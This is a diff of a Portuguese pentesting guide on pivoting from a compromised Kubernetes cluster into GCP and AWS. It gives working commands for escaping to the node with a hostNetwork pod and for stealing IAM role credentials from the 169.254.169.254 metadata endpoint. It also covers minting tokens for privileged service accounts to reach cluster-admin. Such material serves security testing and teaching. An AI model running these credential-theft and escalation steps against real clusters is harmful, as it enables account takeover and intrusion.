diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index c38ba678a..c8cf86568 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Se você estiver executando um cluster k8s dentro do GCP, provavelmente desejará que algum aplicativo em execução dentro do cluster tenha acesso ao GCP. Existem 2 maneiras comuns de fazer isso: +Se você está executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma aplicação rodando no cluster tenha acesso ao GCP. Há 2 maneiras comuns de fazer isso: -### Montando chaves GCP-SA como segredo +### Mounting GCP-SA keys as secret -Uma maneira comum de dar **acesso a um aplicativo kubernetes ao GCP** é: +Uma forma comum de dar acesso a uma aplicação kubernetes ao GCP é: -- Criar uma Conta de Serviço do GCP -- Vincular as permissões desejadas -- Baixar uma chave json da SA criada -- Montá-la como um segredo dentro do pod -- Definir a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está. +- Crie um GCP Service Account +- Atribua a ele as permissões desejadas +- Faça o download de uma chave json do SA criado +- Monte-a como um secret dentro do pod +- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está. > [!WARNING] -> Portanto, como um **atacante**, se você comprometer um contêiner dentro de um pod, deve verificar essa **variável** **env** e **arquivos** **json** com credenciais do GCP. +> Portanto, como um **attacker**, se você comprometer um container dentro de um pod, você deve checar por essa **env** **variable** e **json** **files** com credenciais do GCP. -### Relacionando json GSA ao segredo KSA +### Relating GSA json to KSA secret -Uma maneira de dar acesso a um GSA a um cluster GKE é vinculá-los desta forma: +Uma forma de dar acesso de um GSA a um GKE cluster é vinculando-os desta forma: -- Criar uma conta de serviço Kubernetes no mesmo namespace que seu cluster GKE usando o seguinte comando: +- Crie um Kubernetes service account no mesmo namespace que seu GKE cluster usando o comando a seguir: ```bash -Copy codekubectl create serviceaccount +kubectl create serviceaccount ``` -- Crie um Kubernetes Secret que contenha as credenciais da conta de serviço GCP à qual você deseja conceder acesso ao cluster GKE. Você pode fazer isso usando a ferramenta de linha de comando `gcloud`, conforme mostrado no exemplo a seguir: +- Crie um Kubernetes Secret que contenha as credenciais da GCP service account à qual você deseja conceder acesso ao GKE cluster. Você pode fazer isso usando a ferramenta de linha de comando `gcloud`, como mostrado no exemplo a seguir: ```bash -Copy codegcloud iam service-accounts keys create .json \ +gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Vincule o Kubernetes Secret à conta de serviço do Kubernetes usando o seguinte comando: +- Vincule o Kubernetes Secret à Kubernetes service account usando o comando a seguir: ```bash -Copy codekubectl annotate serviceaccount \ +kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> No **segundo passo**, as **credenciais do GSA foram definidas como segredo do KSA**. Então, se você puder **ler esse segredo** de **dentro** do **cluster GKE**, você pode **escalar para essa conta de serviço GCP**. +> No **segundo passo** foram definidas as **credenciais do GSA como secret do KSA**. Então, se você conseguir **ler esse secret** de **dentro** do **GKE** cluster, você pode **escalar para essa GCP service account**. -### Identidade de Workload GKE +### GKE Workload Identity -Com a Identidade de Workload, podemos configurar uma [conta de serviço Kubernetes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para agir como uma [conta de serviço Google](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a conta de serviço Kubernetes serão automaticamente autenticados como a conta de serviço Google ao acessar APIs do Google Cloud. +Com o Workload Identity, podemos configurar a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) para atuar como a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods executando com a Kubernetes service account autenticarão automaticamente como a Google service account ao acessar as Google Cloud APIs. -A **primeira série de passos** para habilitar esse comportamento é **habilitar a Identidade de Workload no GCP** ([**passos**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a SA GCP que você deseja que o k8s impersonifique. +A **primeira série de passos** para habilitar esse comportamento é **habilitar o Workload Identity no GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e criar a GCP SA que você quer que o k8s assuma. -- **Habilitar a Identidade de Workload** em um novo cluster +- **Enable Workload Identity** on a new cluster ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Criar/Atualizar um novo nodepool** (clusters Autopilot não precisam disso) +- **Criar/Atualizar um novo nodepool** (Clusters Autopilot não precisam disso) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Crie a **Conta de Serviço GCP para se fazer passar** a partir do K8s com permissões GCP: +- Crie a **GCP Service Account to impersonate** a partir do K8s com permissões GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Conecte-se** ao **cluster** e **crie** a **conta de serviço** para usar +- **Conecte-se** ao **cluster** e **crie** a **conta de serviço** a ser usada ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Vincule o GSA com o KSA** +- **Vincular o GSA ao KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Como um atacante dentro do K8s, você deve **procurar por SAs** com a **anotação `iam.gke.io/gcp-service-account`**, pois isso indica que a SA pode acessar algo no GCP. Outra opção seria tentar abusar de cada KSA no cluster e verificar se ela tem acesso.\ -> Do GCP, é sempre interessante enumerar as ligações e saber **qual acesso você está concedendo às SAs dentro do Kubernetes**. +> Como um atacante dentro do K8s você deve **procurar por SAs** com a **`iam.gke.io/gcp-service-account` annotation** pois isso indica que o SA pode acessar algo no GCP. Outra opção é tentar abusar de cada KSA no cluster e verificar se ele tem acesso.\ +> No GCP é sempre interessante enumerar os bindings e saber **quais acessos você está concedendo às SAs dentro do Kubernetes**. -Este é um script para facilmente **iterar sobre todas as definições de pods** **procurando** por essa **anotação**: +Este é um script para **iterar facilmente por todas as definições de pods** **procurando** por essa **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Uma maneira (ultrapassada) de dar IAM Roles para Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **servidor.** Basicamente, você precisará executar um **daemonset** em seu cluster com um **tipo de IAM role privilegiado**. Este daemonset será o responsável por conceder acesso aos IAM roles para os pods que precisarem. +Uma forma (desatualizada) de atribuir IAM Roles aos Pods é usar um [**Kiam**](https://github.com/uswitch/kiam) ou um [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basicamente, você precisará executar um **daemonset** no seu cluster com uma **espécie de privileged IAM role**. Esse daemonset será o responsável por conceder acesso a IAM Roles aos pods que precisarem. -Primeiramente, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e você faz isso com uma anotação dentro do objeto namespace: +Primeiro de tudo, você precisa configurar **quais roles podem ser acessadas dentro do namespace**, e isso é feito com uma annotation dentro do namespace object: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Uma vez que o namespace está configurado com os papéis IAM que os Pods podem ter, você pode **indicar o papel que deseja em cada definição de pod com algo como**: +Depois que o namespace estiver configurado com as IAM roles que os Pods podem ter, você pode **indicar a role que deseja em cada pod definition com algo como**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Como um atacante, se você **encontrar essas anotações** em pods ou namespaces ou um servidor kiam/kube2iam em execução (provavelmente no kube-system), você pode **impersonar qualquer r**ole que já está **sendo usada por pods** e mais (se você tiver acesso à conta AWS, enumere os roles). +> Como atacante, se você **encontrar essas anotações** em pods ou namespaces ou em um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode **imitar todo o r**ole que já é **usado por pods** e mais (se você tiver acesso à conta AWS, enumere os roles). -#### Criar Pod com Role IAM +#### Criar Pod com IAM Role > [!NOTE] -> O role IAM a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam e esse role deve ser capaz de acessá-lo. +> O IAM role a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam, e esse role deve ser capaz de acessá-lo. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role para Contas de Serviço K8s via OIDC +### IAM Role para Service Accounts do K8s via OIDC -Esta é a **maneira recomendada pela AWS**. +Esta é a **forma recomendada pela AWS**. -1. Primeiro, você precisa [criar um provedor OIDC para o cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). -2. Em seguida, você cria um papel IAM com as permissões que a SA precisará. -3. Crie uma [relação de confiança entre o papel IAM e a SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) nome (ou os namespaces que dão acesso ao papel para todas as SAs do namespace). _A relação de confiança verificará principalmente o nome do provedor OIDC, o nome do namespace e o nome da SA_. -4. Finalmente, **crie uma SA com uma anotação indicando o ARN do papel**, e os pods executando com essa SA terão **acesso ao token do papel**. O **token** é **escrito** dentro de um arquivo e o caminho é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (padrão: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +1. Antes de tudo você precisa [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +2. Depois você cria um IAM role com as permissões que o SA irá requerer. +3. Crie uma [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (ou com os namespaces, dando acesso ao role para todos os SAs do namespace). _A trust relationship irá principalmente checar o nome do provedor OIDC, o nome do namespace e o nome do SA_. +4. Finalmente, **crie um SA com uma annotation indicando o ARN do role**, e os pods rodando com esse SA terão **acesso ao token do role**. O **token** é **escrito** dentro de um arquivo e o caminho é especificado em **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Como um atacante, se você puder enumerar um cluster K8s, verifique as **contas de serviço com essa anotação** para **escalar para AWS**. Para fazer isso, basta **exec/create** um **pod** usando uma das **contas de serviço privilegiadas** do IAM e roubar o token. +> Como atacante, se você puder enumerar um cluster K8s, verifique por **service accounts with that annotation** para **escalate to AWS**. Para isso, simplesmente **exec/create** um **pod** usando uma das IAM **privileged service accounts** e roube o token. > > Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Às vezes, a **Política de Confiança de um papel** pode estar **mal configurada** e, em vez de dar acesso AssumeRole à conta de serviço esperada, dá acesso a **todas as contas de serviço**. Portanto, se você for capaz de escrever uma anotação em uma conta de serviço controlada, poderá acessar o papel. +> Às vezes a **Turst Policy of a role** pode estar **bad configured** e, em vez de dar AssumeRole access ao service account esperado, ela dá para **all the service accounts**. Portanto, se você for capaz de escrever uma annotation em um service account controlado, você pode acessar o role. > -> Verifique a **página seguinte para mais informações**: +> Confira a **following page for more information**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} -### Encontrar Pods e SAs com Papéis IAM no Cluster +### Encontrar Pods e SAs com IAM Roles no Cluster -Este é um script para facilmente **iterar sobre todos os pods e definições de sas** **procurando** por essa **anotação**: +Este é um script para facilmente **iterar por todas as definições de pods e SAs** **procurando** por essa **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,19 +253,26 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role +### Node IAM Role to cluster-admin -A seção anterior tratou de como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s será uma **instância dentro da nuvem**. Isso significa que o Node é altamente provável que **tenha um novo IAM role que você pode roubar** (_note que geralmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar em cada node_). +A seção anterior tratou de como roubar IAM Roles com pods, mas note que um **Node do** cluster K8s será uma **instance inside the cloud**. Isso significa que o Node tem alta probabilidade de **ter um IAM role que você pode roubar** (_observe que normalmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar cada node_). -No entanto, há um requisito importante para acessar o endpoint de metadados a partir do node, você precisa estar no node (sessão ssh?) ou pelo menos ter a mesma rede: +Para acessar o node metadata endpoint você precisa: +- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a misconfiguração mais comum, pois geralmente diferentes pods no cluster precisarão de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster. +- Estar em um pod com `hostNetwork` enabled. +- Escapar para o node e acessar o metadata endpoint diretamente. + +(Observe que o metadata endpoint está em 169.254.169.254 como sempre). + +Para **escapar para o node** você pode usar o seguinte comando para rodar um pod com `hostNetwork` enabled: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Roubar Token de Função IAM +### Steal IAM Role Token -Anteriormente, discutimos como **anexar Funções IAM a Pods** ou até mesmo como **escapar para o Nó para roubar a Função IAM** que a instância tem anexada a ela. +Anteriormente discutimos como **attach IAM Roles to Pods** ou até como **escape to the Node to steal the IAM Role** que a instância tem anexada. -Você pode usar o seguinte script para **roubar** suas novas **credenciais de função IAM**: +Você pode usar o seguinte script para **steal** suas recém-conquistadas **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -276,6 +283,19 @@ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE fi fi ``` +### Privesc to cluster-admin + +Em resumo: se for possível **acessar o EKS Node IAM role** a partir de um pod, é possível **comprometer todo o kubernetes cluster**. + +For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Como resumo, a default IAM EKS role que é atribuída aos EKS nodes por padrão recebe a role `system:node` dentro do cluster. Essa role é muito interessante, embora seja limitada pelas kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). + +No entanto, o node pode sempre **gerar tokens para service accounts** que estejam rodando em pods dentro do node. Então, se o node estiver executando um pod com um privileged service account, o node pode gerar um token para esse service account e usá-lo para se passar pelo service account, como em: +```bash +kubectl --context=node1 create token -n ns1 sa-priv \ +--bound-object-kind=Pod \ +--bound-object-name=pod-priv \ +--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d +``` ## Referências - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)